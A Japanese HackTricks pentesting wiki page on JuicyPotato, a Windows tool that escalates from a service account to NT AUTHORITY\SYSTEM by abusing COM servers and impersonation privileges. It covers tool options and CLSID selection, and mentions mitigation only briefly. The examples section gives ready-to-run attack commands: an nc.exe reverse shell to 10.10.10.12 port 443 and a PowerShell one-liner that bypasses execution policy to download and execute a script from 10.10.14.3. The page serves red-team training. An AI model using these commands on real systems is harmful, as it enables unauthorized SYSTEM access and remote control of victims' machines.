13 KiB
JuicyPotato
htARTE(HackTricks AWS Red Team Expert) からAWSハッキングをゼロからヒーローまで学ぶ!
- サイバーセキュリティ企業で働いていますか? HackTricksで会社を宣伝してみたいですか?または、最新バージョンのPEASSを入手したり、HackTricksをPDFでダウンロードしたいですか?SUBSCRIPTION PLANSをチェックしてください!
- The PEASS Familyを発見し、独占的なNFTsコレクションをご覧ください
- 公式PEASS&HackTricksスウェグを手に入れましょう
- 💬 Discordグループに参加するか、telegramグループに参加するか、Twitterで私をフォローする🐦@carlospolopm。
- ハッキングトリックを共有するには、PRを hacktricksリポジトリ と hacktricks-cloudリポジトリ に提出してください。
WhiteIntel
WhiteIntelは、ダークウェブを活用した検索エンジンで、企業やその顧客が盗難マルウェアによって侵害されていないかをチェックする無料機能を提供しています。
WhiteIntelの主な目標は、情報窃取マルウェアによるアカウント乗っ取りとランサムウェア攻撃に対抗することです。
彼らのウェブサイトをチェックして、無料でエンジンを試してみてください:
{% embed url="https://whiteintel.io" %}
{% hint style="warning" %}
JuicyPotatoは Windows Server 2019およびWindows 10ビルド1809以降では動作しません。ただし、PrintSpoofer、RoguePotato、SharpEfsPotatoを使用して、同じ特権を利用してNT AUTHORITY\SYSTEM
**レベルのアクセスを獲得できます。チェック:
{% endhint %}
{% content-ref url="roguepotato-and-printspoofer.md" %} roguepotato-and-printspoofer.md {% endcontent-ref %}
Juicy Potato(黄金特権の悪用)
RottenPotatoNG の甘いバージョンで、少しジュースを加えたもの、つまりWindowsサービスアカウントからNT AUTHORITY\SYSTEMへの別のローカル特権昇格ツール
juicypotatoをここからダウンロードできます
概要
RottenPotatoNGおよびそのバリアントは、BITS
サービスに基づく特権昇格チェーンを活用し、MiTMリスナーが127.0.0.1:6666
で実行され、SeImpersonate
またはSeAssignPrimaryToken
特権を持っているときに発生します。Windowsビルドのレビュー中に、BITS
が意図的に無効にされ、ポート6666
が使用されているセットアップを見つけました。
RottenPotatoNGを武器化することにしました:Juicy Potatoをご覧ください。
理論については、Rotten Potato - サービスアカウントからSYSTEMへの特権昇格を参照し、リンクと参照先のチェーンをたどってください。
私たちは、BITS
以外にも悪用できるCOMサーバーがいくつかあることを発見しました。それらは単に次のようである必要があります:
- 現在のユーザー(通常はインパーソネーション特権を持つ「サービスユーザー」)によってインスタンス化できる
IMarshal
インターフェースを実装する- 昇格されたユーザー(SYSTEM、管理者、...)として実行される
いくつかのテストの後、興味深いCLSIDの詳細なリストをいくつかのWindowsバージョンで取得してテストしました。
Juicyの詳細
JuicyPotatoを使用すると、次のことができます:
- ターゲットCLSID 希望するCLSIDを選択します。 ここでOSごとに整理されたリストを見つけることができます。
- COMリスニングポート マーシャリングされたハードコードされた6666の代わりに好きなCOMリスニングポートを定義します
- COMリスニングIPアドレス サーバーを任意のIPにバインドします
- プロセス作成モード インパーソネーションされたユーザーの特権に応じて、次から選択できます:
CreateProcessWithToken
(SeImpersonate
が必要)CreateProcessAsUser
(SeAssignPrimaryToken
が必要)両方
- 起動するプロセス 悪用が成功した場合に実行する実行可能ファイルまたはスクリプトを起動します
- プロセス引数 起動されるプロセスの引数をカスタマイズします
- RPCサーバーアドレス ステルスアプローチのために、外部RPCサーバーに認証できます
- RPCサーバーポート 外部サーバーに認証する場合で、ファイアウォールがポート
135
をブロックしている場合に便利です... - TESTモード 主にテスト目的で、CLSIDsのテストに使用されます。DCOMを作成し、トークンのユーザーを表示します。テストについては こちらを参照してください
使用法
T:\>JuicyPotato.exe
JuicyPotato v0.1
Mandatory args:
-t createprocess call: <t> CreateProcessWithTokenW, <u> CreateProcessAsUser, <*> try both
-p <program>: program to launch
-l <port>: COM server listen port
Optional args:
-m <ip>: COM server listen address (default 127.0.0.1)
-a <argument>: command line argument to pass to program (default NULL)
-k <ip>: RPC server ip address (default 127.0.0.1)
-n <port>: RPC server listen port (default 135)
最終的な考え
Juicy Potato Readme** から:**
ユーザーが SeImpersonate
または SeAssignPrimaryToken
特権を持っている場合、あなたは SYSTEM です。
これらのすべての COM サーバーの悪用を防ぐのはほぼ不可能です。これらのオブジェクトのアクセス許可を DCOMCNFG
を介して変更することを考えることができますが、成功を祈ります。これは挑戦的な作業になるでしょう。
実際の解決策は、* SERVICE
アカウントで実行される機密アカウントやアプリケーションを保護することです。DCOM
を停止することは、このエクスプロイトを阻止する一方、基礎となる OS に深刻な影響を与える可能性があります。
出典: http://ohpe.it/juicy-potato/
例
注意: 試すための CLSID のリストについては、このページ を参照してください。
nc.exe リバースシェルを取得
c:\Users\Public>JuicyPotato -l 1337 -c "{4991d34b-80a1-4291-83b6-3328366b9097}" -p c:\windows\system32\cmd.exe -a "/c c:\users\public\desktop\nc.exe -e cmd.exe 10.10.10.12 443" -t *
Testing {4991d34b-80a1-4291-83b6-3328366b9097} 1337
......
[+] authresult 0
{4991d34b-80a1-4291-83b6-3328366b9097};NT AUTHORITY\SYSTEM
[+] CreateProcessWithTokenW OK
c:\Users\Public>
Powershell rev
Powershell逆
.\jp.exe -l 1337 -c "{4991d34b-80a1-4291-83b6-3328366b9097}" -p c:\windows\system32\cmd.exe -a "/c powershell -ep bypass iex (New-Object Net.WebClient).DownloadString('http://10.10.14.3:8080/ipst.ps1')" -t *
新しいCMDを起動する(RDPアクセスがある場合)
CLSIDの問題
しばしば、JuicyPotatoが使用するデフォルトのCLSIDは機能せず、エクスプロイトが失敗します。通常、動作するCLSIDを見つけるために複数の試行が必要です。特定のオペレーティングシステム用に試すためのCLSIDのリストを取得するには、次のページを参照してください:
{% embed url="https://ohpe.it/juicy-potato/CLSID/" %}
CLSIDsの確認
まず、juicypotato.exe以外のいくつかの実行可能ファイルが必要です。
Join-Object.ps1をダウンロードしてPSセッションにロードし、GetCLSID.ps1をダウンロードして実行します。そのスクリプトはテストする可能性のあるCLSIDのリストを作成します。
次に、test_clsid.bat (CLSIDリストへのパスとjuicypotato実行可能ファイルへのパスを変更してください)をダウンロードして実行します。すべてのCLSIDを試行し始め、ポート番号が変わると、CLSIDが機能したことを意味します。
動作するCLSIDをパラメータ -c を使用して確認します
参考文献
WhiteIntel
WhiteIntelは、ダークウェブを活用した検索エンジンで、企業やその顧客が盗難マルウェアによって侵害されていないかをチェックするための無料機能を提供しています。
WhiteIntelの主な目標は、情報窃取マルウェアによるアカウント乗っ取りやランサムウェア攻撃に対抗することです。
彼らのウェブサイトをチェックし、無料でエンジンを試すことができます:
{% embed url="https://whiteintel.io" %}
ゼロからヒーローまでのAWSハッキングを学ぶ htARTE(HackTricks AWS Red Team Expert)!
- サイバーセキュリティ企業で働いていますか? HackTricksで会社を宣伝したいですか?または、最新バージョンのPEASSにアクセスしたり、HackTricksをPDFでダウンロードしたいですか?SUBSCRIPTION PLANSをチェックしてください!
- The PEASS Familyを発見し、独占的なNFTsコレクションを見つけます
- 公式PEASS&HackTricksスウォッグを手に入れる
- 💬Discordグループに参加するか、telegramグループに参加するか、Twitterで私をフォローする🐦@carlospolopm.
- ハッキングトリックを共有するためにhacktricksリポジトリ とhacktricks-cloudリポジトリ にPRを提出してください。